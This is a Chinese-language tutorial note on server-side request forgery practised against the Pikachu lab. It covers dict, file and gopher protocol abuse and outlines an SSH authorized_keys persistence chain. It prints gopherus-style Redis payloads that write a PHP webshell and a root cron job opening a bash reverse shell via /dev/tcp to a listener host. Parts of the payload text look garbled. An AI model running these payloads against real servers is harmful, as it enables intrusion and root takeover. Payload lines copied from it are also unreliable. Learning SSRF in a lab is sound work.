一、SSRF (Server-side Request Forge, 服务端请求伪造)
1、概念:
它是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统。漏洞产生由于服务端提供了从其他服务器应用获取数据的功能且没有对地址和协议等做过滤和限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。
2、ssrf示意图
1.攻击者向服务器A发送一个让服务器A访问另外一个服务器B的请求
2.服务器A向服务器B发送一个请求
3.服务器B向服务器A发送响应
4.服务器A向黑客发送服务器B的响应
3、Ssrf类型:
Basic ssrf:返回结果到客户端,如果响应是一个网站,就会显示相应的界面或对应的html代码
Bind ssrf: 不会返回响应给客户端。
4、SSH未创建写shell的SSRF实现
要实现通过SSRF攻击未创建写shell的SSH,攻击者需要利用存在SSRF漏洞的服务器来伪造请求,这些请求可以用来与目标系统的SSH服务通信。通常,这涉及到以下步骤: 1.发现SSRF漏洞:攻击者首先需要找到一个可以通过用户可控制的输入来发起外部请求的服务器。
2.利用SSRF漏洞:攻击者构造一个特殊的URL,使服务器向目标系统的SSH端口发送请求。
3.绕过身份验证:如果目标系统的SSH服务没有正确配置,攻击者可能会尝试利用已知的漏洞或默认凭证来绕过身份验证。
4.执行命令:一旦建立了SSH连接,攻击者可以尝试在目标系统上执行命令,以获取shell访问权限。
5.持久化访问:为了保持对目标系统的控制,攻击者可能会尝试写入SSH的authorized_keys文件,添加自己的公钥,从而实现无密码登录。
复刻
1.dict 协议
dict 协议是一个在线网络字典协议,这个协议是用来架设一个字典服务的。在SSRF中如果可以使用此协议,就可以轻易获取目标服务器端口上运行的服务器版本信息利用dict协议探测端口
所以像 mysql 的服务,因为也是基于 tcp 协议开发,所以用 dict 协议的方式打开也能强行读取一些 mysql 服务的返回内容
127.0.0.1/pikachu-master/vul/ssrf/ssrf_curl.php?url=dict://127.0.0.1:3306
Dict服务器和客户机使用TCP端口3306
Curl:一种命令行工具,作用是发出网络请求,获取数据
Curl -v:显示http通信的整个过程,包括端口连接和HTTP request头信息
2.file协议
file协议主要用于访问(读取)本地计算机中的文件信息,好比通过Windows的资源管理器中打开文件或者通过右键单击‘打开’一样。
基本格式: file:/// 文件路径
127.0.0.1/pikachu-master/vul/ssrf/ssrf_curl.php?url=file:///D:\phpstudy_pro\WWW\pikachu-master\vul\ssrf\ssrf.php
3.gopher协议
gopher协议在ssrf的利用中一般用来攻击redis,mysql,fastcgi,smtp等服务。
gopher协议数据格式:
gopher://ip:port/_TCP/IP数据流
注意:gopher协议数据流中,url编码使用%0d%0a替换字符串中的回车换行.
数据流末尾使用%0d%0a代表消息结束。
在ubuntu中输入:gopherus --exploit redis
(1)PHPshell
urldeciode解码:
$8
flushall
*3
$3
set
$1
1
$20
<?php phpinfo();
$4
$6config
$3
set
dir
$13
/var/www/html
*4
$6
config$3
set
$10
dbfilename
$9
shel1.php*1
$4
save
?>
//内存数据落盘
将我写入的 <?php phpinfo(); 存储到 shel1.php 文件,文件路径是 /var/www/html
(2)Reverseshell
urldeciode解码:
gopher://127.0.0.1:6379/*1
$8
flushall
*3
$3
set
$1
1
$70
LF LF*/1 * **bash -c"shi>& /dev/tcp/192.168.139.138/1234 0>&1"1 F
$4
$16config
$3
set
dir
$16
/var/spool/cron/
*4
$6
config$3
set
$9
dbfilename
$4
root*1
$4
save
?>
一分钟执行一句话,反弹到192.168.139.138的1234端口(需要监听到1234端口),并将其写入到root文件中,(因为是依root权限写入,因此反弹也是root权限)